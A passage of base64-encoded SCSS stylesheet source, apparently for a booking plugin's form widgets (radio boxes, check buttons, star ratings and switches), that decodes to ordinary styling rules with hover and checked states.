mFjZS12aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMCk7XG4gICAgICB9XG4gICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgICAgICB9XG4gICAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRzbG4tY29sb3ItLWVtcGhhc2lzO1xuICAgICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgwLjUpO1xuICAgICAgICAgIH1cbiAgICAgICAgICAmOmFjdGl2ZSB7XG4gICAgICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMC42KTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgICY6YWN0aXZlIHtcbiAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEpO1xuICAgICAgICB9XG4gICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMC41KTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICBpbnB1dDpjaGVja2VkICsgbGFiZWwge1xuICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgYm9yZGVyLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgfVxuICAgICAgJjphZnRlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgwLjUpO1xuICAgICAgfVxuXG4gICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDAuNSk7XG4gICAgICAgICAgfVxuICAgICAgICAgICY6YWN0aXZlIHtcbiAgICAgICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgwLjYpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgJjphY3RpdmUge1xuICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yKTtcbiAgICAgICAgfVxuICAgICAgICAmOmFmdGVyIHtcbiAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDAuNSk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgbGFiZWwgc3BhbiB7XG4gICAgICAvLyBVU0VEIEZPUiBFTVBIQVNJU1xuICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgcGFkZGluZy1sZWZ0OiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuICAgICAgZm9udC13ZWlnaHQ6IDcwMDtcbiAgICB9XG4gICAgJi5zbG4tcmFkaW9ib3gtLWNoZWNrb25seSB7XG4gICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICBpbnB1dCArIGxhYmVsIHtcbiAgICAgICAgYm9yZGVyLWJvdHRvbTogbm9uZTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgLnNsbi1yYWRpb2JveCAuc2xuLXJhZGlvYm94X193cmFwcGVyIHtcbiAgICBpbnB1dCArIGxhYmVsIHtcbiAgICAgICY6bnRoLWNoaWxkKDIpIHtcbiAgICAgICAgbWFyZ2luLXRvcDogMDtcbiAgICAgIH1cbiAgICB9XG4gICAgJjpub3QoOmxhc3QtY2hpbGQpIHtcbiAgICAgIGlucHV0ICsgbGFiZWwge1xuICAgICAgICBib3JkZXItYm90dG9tOiBub25lO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAuc2xuLXJhZGlvYm94X193cmFwcGVyLS1iZCB7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICY6OmFmdGVyIHtcbiAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgY29udGVudDogJyc7XG4gICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICB0b3A6IDA7XG4gICAgICByaWdodDogMDtcbiAgICAgIGJvdHRvbTogMDtcbiAgICAgIGxlZnQ6IDA7XG4gICAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICAgIGJvcmRlcjogc2V0dGluZ3MtbWl4aW5zLnJlbSgycHgpIHNvbGlkXG4gICAgICAgIGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0LCAwLjUpO1xuICAgICAgdHJhbnNpdGlvbjogYm9yZGVyIDI1MG1zO1xuICAgIH1cbiAgICAmLnNsbi1yYWRpb2JveF9fd3JhcHBlci0tY2hlY2tlZCB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoXG4gICAgICAgIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHRlcixcbiAgICAgICAgMC41XG4gICAgICApO1xuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICBib3JkZXI6IHNldHRpbmdzLW1peGlucy5yZW0oMnB4KSBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgICAgfVxuICAgIH1cbiAgICBpbnB1dCArIGxhYmVsIHtcbiAgICAgIHotaW5kZXg6IDI7XG4gICAgfVxuICAgIC5zbG4tcmFkaW9ib3hfX3dyYXBwZXJfX2xhYmVsZnVsbCB7XG4gICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIHRvcDogMDtcbiAgICAgIHJpZ2h0OiAwO1xuICAgICAgYm90dG9tOiAwO1xuICAgICAgbGVmdDogMDtcbiAgICAgIHotaW5kZXg6IDE7XG4gICAgfVxuICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAmOmhvdmVyIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgYm9yZGVyOiBzZXR0aW5ncy1taXhpbnMucmVtKDJweCkgc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgfVxuICAjc2xuLWJvb2tpbmdfZm9ybV9sYXlvdXQgLnNsbi1yYWRpb2JveF9fd3JhcHBlci0tYmQge1xuICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgcGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgfVxuXG4gIC5zbG4tY2hlY2tidXR0b24tZ3JvdXAge1xuICAgIG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBmbGV4LXdyYXA6IHdyYXA7XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgICAgZmxleC13cmFwOiBub3dyYXA7XG4gICAgfVxuICB9XG4gIC5zbG4tY2hlY2tidXR0b24ge1xuICAgIG1hcmdpbi1yaWdodDogMTBweDtcbiAgICBtYXJnaW4tYm90dG9tOiAxMHB4O1xuICAgIHdpZHRoOiBjYWxjKDUwJSAtIDEwcHgpO1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgIGZsb2F0OiBsZWZ0O1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAgIHdpZHRoOiBjYWxjKDI1JSAtIDEwcHgpO1xuICAgIH1cbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgd2lkdGg6IGNhbGMoMjUlIC0gMTBweCk7XG4gICAgICBtYXgtd2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oMjAwcHgpO1xuICAgIH1cbiAgICBpbnB1dCB7XG4gICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICBtYXJnaW4tbGVmdDogLTk5OTlweDtcbiAgICAgIHZpc2liaWxpdHk6IGhpZGRlbjtcbiAgICB9XG4gICAgaW5wdXQgKyBsYWJlbCB7XG4gICAgICAvKlxuXHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0XHRjdXJzb3I6IHBvaW50ZXI7XG5cdFx0XHRvdXRsaW5lOiBub25lO1xuXHRcdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdFx0XHRwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oNzBweCkgMCBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuXHRcdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdFx0aGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuXHRcdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG5cdFx0XHR0cmFuc2l0aW9uOiBhbGwgMTUwbXM7XG5cdFx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0XHRAZXh0ZW5kICVmb250LWJpZ2dlcjtcblx0XHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMXB4KTtcblx0XHRcdHRleHQtYWxpZ246IGxlZnQ7XG5cdFx0XHRjb2xvcjogJGNsX21haW47XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkY2xfbWFpbi0td2hpdGU7XG5cdFx0XHRib3JkZXI6IDFweCBzb2xpZDtcblx0XHRcdGJvcmRlci1jb2xvcjogJGNsX21haW4tLWxpZ2h0O1xuXHRcdFx0QGluY2x1ZGUgYnAodGFibGV0KSB7XG5cdFx0XHRcdGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg3MHB4KTtcblx0XHRcdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNzBweCk7XG5cdFx0XHRcdHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KSAwIHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG5cdFx0XHR9XG5cdFx0XHRAaW5jbHVkZSBicChkZXNrdG9wKSB7XG5cdFx0XHRcdGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcblx0XHRcdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG5cdFx0XHRcdHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSg3MHB4KSAwIHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG5cdFx0XHR9XG5cdFx0XHQqL1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICBvdXRsaW5lOiBub25lO1xuICAgICAgdXNlci1zZWxlY3Q6IG5vbmU7XG4gICAgICBwYWRkaW5nOiAwIDAuNzVyZW07XG4gICAgICBoZWlnaHQ6IDIuNXJlbTtcbiAgICAgIGRpc3BsYXk6IGdyaWQ7XG4gICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IGF1dG8gMXJlbTtcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICBib3JkZXItcmFkaXVzOiAwLjE2cmVtO1xuICAgICAgYm9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICAgIEBleHRlbmQgJWZvbnQtYmlnO1xuICAgICAgc3BhbiB7XG4gICAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgICBncmlkLXJvdzogMTtcbiAgICAgICAgcGFkZGluZy1yaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcbiAgICAgIH1cbiAgICAgICY6YmVmb3JlLFxuICAgICAgJjphZnRlciB7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgd2lkdGg6IDEuMTI1cmVtO1xuICAgICAgICBoZWlnaHQ6IDEuMTI1cmVtO1xuICAgICAgICBncmlkLWNvbHVtbjogMjtcbiAgICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgICAgIC8vcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAvL3RvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcbiAgICAgICAgLy90b3A6IDUwJTtcbiAgICAgICAgLy9yaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNHB4KTtcbiAgICAgIH1cbiAgICAgICY6YmVmb3JlIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgIGNvbnRlbnQ6ICcnO1xuICAgICAgICB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gMC41cztcbiAgICAgICAgYmFja2ZhY2UtdmlzaWJpbGl0eTogaGlkZGVuO1xuICAgICAgICBib3JkZXI6IDJweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX2dyZXk7XG4gICAgICAgIGJvcmRlci1yYWRpdXM6IDAuMTZyZW07XG4gICAgICB9XG4gICAgICAvKiBGSVggMDkyMDIzICovXG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgIGNvbnRlbnQ6ICcgXFxmMDBjJztcbiAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMTVzO1xuICAgICAgICBiYWNrZmFjZS12aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgIEBleHRlbmQgJWZvbnQtaWNvbjtcbiAgICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuICAgICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyN3B4KTtcbiAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgfVxuXG4gICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfb2ssIDAuNSk7XG4gICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoXG4gICAgICAgICAgICAgIGFkbWluX2NvbmZpZy4kY2xfb2ssXG4gICAgICAgICAgICAgIDAuNzVcbiAgICAgICAgICAgICk7XG4gICAgICAgICAgICBib3JkZXItY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgICAgICBib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICAgIH1cbiAgICAgICAgICAvKiBGSVggMDkyMDIzICovXG4gICAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1lbXBoYXNpcztcbiAgICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgIGlucHV0OmNoZWNrZWQgKyBsYWJlbCB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX29rO1xuICAgICAgYm9yZGVyLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX29rO1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfb2ssIDAuMjUpO1xuICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfb2s7XG4gICAgICAgIGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICB9XG4gICAgICAvKiBGSVggMDkyMDIzIFxuXHRcdFx0JjphZnRlcixcblx0XHRcdCY6aG92ZXI6YWZ0ZXIge1xuXHRcdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0XHRjb2xvcjogJGNsX21haW4tLXdoaXRlO1xuXHRcdFx0fVxuXHRcdFx0Ki9cbiAgICB9XG5cbiAgICAvKlxuXHRcdGlucHV0ICsgbGFiZWw6YWZ0ZXIge1xuXHRcdGNvbnRlbnQ6IFwiXFxmMGM4XCI7XG5cdFx0Zm9udC13ZWlnaHQ6NDAwO1xuXHRcdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0dG9wOiAwO1xuXHRcdFx0cmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG5cdFx0XHRib3R0b206IDA7XG5cdFx0XHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdFx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG5cdFx0XHRAZXh0ZW5kICVmb250LWljb247XG5cdFx0XHRjb2xvcjogJGNsX21haW47XG5cdFx0XHR0cmFuc2l0aW9uOiBvcGFjaXR5IDE1MG1zLCBjb2xvciAxNTBtcztcblx0XHR9XG5cdFx0aW5wdXQgKyBsYWJlbDphZnRlciB7XG5cdFx0Zm9udC13ZWlnaHQ6NDAwO1xuXHRcdGNvbnRlbnQ6IFwiXFxmMGM4XCI7XG5cdFx0fVxuXHRcdGlucHV0ICsgbGFiZWw6aG92ZXIge1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogJGNsX21haW47XG5cdFx0XHRjb2xvcjogJGNsX21haW4tLXdoaXRlO1xuXHRcdFx0JjphZnRlciB7XG5cdFx0XHRcdGNvbG9yOiAkY2xfbWFpbi0td2hpdGU7XG5cdFx0XHR9XG5cdFx0fVxuXHRcdGlucHV0OmNoZWNrZWQgKyBsYWJlbCB7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkY2xfb2s7XG5cdFx0XHRib3JkZXItY29sb3I6ICRjbF9vaztcblx0XHRcdGNvbG9yOiAkY2xfbWFpbi0td2hpdGU7XG5cdFx0XHQmOmFmdGVyIHtcblx0XHRcdFx0Y29udGVudDogXCJcXGYxNGFcIjtcblx0XHRcdFx0Y29sb3I6ICRjbF9tYWluLS13aGl0ZTtcblx0XHRcdH1cblx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkY2xfbWFpbjtcblx0XHRcdFx0Y29sb3I6ICRjbF9tYWluLS13aGl0ZTtcblx0XHRcdFx0JjphZnRlciB7XG5cdFx0XHRcdFx0Y29sb3I6ICRjbF9tYWluLS13aGl0ZTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0XHQqL1xuICB9XG5cbiAgLnNsbi1yYXRpbmcsXG4gICNzbG5fYm9va2luZy1kZXRhaWxzIC5zbG4tcmF0aW5nIHtcbiAgICB3aWR0aDogMTAwJTtcbiAgICBtYXJnaW46IDAgYXV0bztcbiAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGdhcDogMC41cmVtO1xuICAgIHBhZGRpbmc6IDEuMnJlbSAwO1xuICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSB7XG4gICAgICAmOmhvdmVyIHtcbiAgICAgICAgLy9iYWNrZ3JvdW5kLWNvbG9yOiBzbG4tbnVjb2xvci0tdGV4dCgxKTtcbiAgICAgICAgLy90cmFuc2Zvcm06IHNjYWxlKDEuMTUpO1xuICAgICAgICAuc2xuLXJhdGluZ19fbGFiZWw6OmFmdGVyIHtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG4gICAgICAgIH1cbiAgICAgICAgLnNsbi1yYXRpbmdfX2lucHV0OmNoZWNrZWQ6Y2hlY2tlZFxuICAgICAgICAgICsgLnNsbi1yYXRpbmdfX2xhYmVsXG4gICAgICAgICAgfiAuc2xuLXJhdGluZ19fbGFiZWw6aG92ZXI6OmFmdGVyIHtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgLnNsbi1yYXRpbmdfX2xhYmVsIHtcbiAgICAgIGRpc3BsYXk6IGlubGluZS1mbGV4O1xuICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgd2lkdGg6IDEuNXJlbTtcbiAgICAgIGhlaWdodDogMS41cmVtO1xuICAgICAgYm9yZGVyLXJhZGl1czogOTk5OXJlbTtcbiAgICAgIHBhZGRpbmc6IDA7XG4gICAgICBtYXJnaW46IDA7XG4gICAgICB0cmFuc2l0aW9uOiBhbGwgMjUwbXM7XG4gICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICB0cmFuc2Zvcm06IHNjYWxlKDEpO1xuICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgJi5oaWRkZW4ge1xuICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgfVxuICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgY29udGVudDogJyc7XG4gICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgICAgd2lkdGg6IDEwMHJlbTtcbiAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjdmOWZiO1xuICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIHJpZ2h0OiAxMDAlO1xuICAgICAgICBvcGFjaXR5OiAwLjE7XG4gICAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgICAgfVxuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICBjb250ZW50OiAnJztcbiAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG4gICAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGNvbG9ycy1udS5zbG4tbnVjb2xvci0tdGV4dCgxKTtcbiAgICAgICAgYm9yZGVyLXJhZGl1czogOTk5OXJlbTtcbiAgICAgICAgY29sb3I6ICM1NDZhNzc7XG4gICAgICAgIHRyYW5zaXRpb246IGFsbCAyNTBtcztcbiAgICAgICAgdHJhbnNmb3JtLW9yaWdpbjogY2VudGVyIGNlbnRlcjtcbiAgICAgIH1cbiAgICB9XG4gICAgLnNsbi1yYXRpbmdfX2xhYmVsOmhhcyh+IC5zbG4tcmF0aW5nX19sYWJlbDpob3Zlcikge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS10ZXh0KDEpO1xuICAgIH1cbiAgICAvKiBtYWtlIHJhdGluZ3MgKmFmdGVyKiB0aGUgY2hlY2tlZCByYWRpbyBncmF5Ki9cbiAgICAuc2xuLXJhdGluZ19faW5wdXQge1xuICAgICAgLypoaWRlIGF3YXkgdGhlIGFjdHVhbCByYWRpbyBpbnB1dHMqL1xuICAgICAgcG9zaXRpb246IGZpeGVkO1xuICAgICAgb3BhY2l0eTogMDtcbiAgICAgIC8qdG9wOiAtOTAwMDBweDsqL1xuICAgICAgbGVmdDogLTkwMDAwcHg7XG4gICAgICAmOmNoZWNrZWQgKyAuc2xuLXJhdGluZ19fbGFiZWwgfiAuc2xuLXJhdGluZ19fbGFiZWwge1xuICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEpO1xuICAgICAgICBtYXJnaW4tbGVmdDogMDtcbiAgICAgIH1cbiAgICAgICY6Y2hlY2tlZDpjaGVja2VkICsgLnNsbi1yYXRpbmdfX2xhYmVsIH4gLnNsbi1yYXRpbmdfX2xhYmVsOjphZnRlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgfVxuICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpIHtcbiAgICAgICAgJjpjaGVja2VkOmNoZWNrZWRcbiAgICAgICAgICArIC5zbG4tcmF0aW5nX19sYWJlbFxuICAgICAgICAgIH4gLnNsbi1yYXRpbmdfX2xhYmVsOmhvdmVyOjphZnRlciB7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS10ZXh0KDEpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICAmOmNoZWNrZWQ6Y2hlY2tlZCArIC5zbG4tcmF0aW5nX19sYWJlbCB+IC5zbG4tcmF0aW5nX19sYWJlbDo6YmVmb3JlIHtcbiAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgIH1cbiAgICAgIC8vJi5zbG4tcmF0aW5nX19pbnB1dC0yICsgLnNsbi1yYXRpbmdfX2xhYmVsIHtcbiAgICAgIC8vXHR0cmFuc2Zvcm06IHNjYWxlKDEuMDc1KTtcbiAgICAgIC8vfVxuICAgICAgLy8mLnNsbi1yYXRpbmdfX2lucHV0LTMgKyAuc2xuLXJhdGluZ19fbGFiZWwge1xuICAgICAgLy9cdHRyYW5zZm9ybTogc2NhbGUoMS4xNSk7XG4gICAgICAvL1x0bWFyZ2luLWxlZnQ6IDAuMXJlbTtcbiAgICAgIC8vfVxuICAgICAgLy8mLnNsbi1yYXRpbmdfX2lucHV0LTQgKyAuc2xuLXJhdGluZ19fbGFiZWwge1xuICAgICAgLy9cdHRyYW5zZm9ybTogc2NhbGUoMS4yNSk7XG4gICAgICAvL1x0bWFyZ2luLWxlZnQ6IDAuMnJlbTtcbiAgICAgIC8vfVxuICAgICAgLy8mLnNsbi1yYXRpbmdfX2lucHV0LTUgKyAuc2xuLXJhdGluZ19fbGFiZWwge1xuICAgICAgLy9cdHRyYW5zZm9ybTogc2NhbGUoMS4zKTtcbiAgICAgIC8vXHRtYXJnaW4tbGVmdDogMC4zcmVtO1xuICAgICAgLy99XG4gICAgfVxuICB9XG5cbiAgLnNsbi1zd2l0Y2gtLW9sZC13cmFwcGVyIHtcbiAgICBkaXNwbGF5OiBmbGV4O1xuICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgYWxpZ24tY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgfVxuICAuc2xuLXN3aXRjaC0tb2xkIHtcbiAgICBsYWJlbCB7XG4gICAgICBAZXh0ZW5kICVzbG4taW5wdXQtbGFiZWwtLWJpZztcbiAgICB9X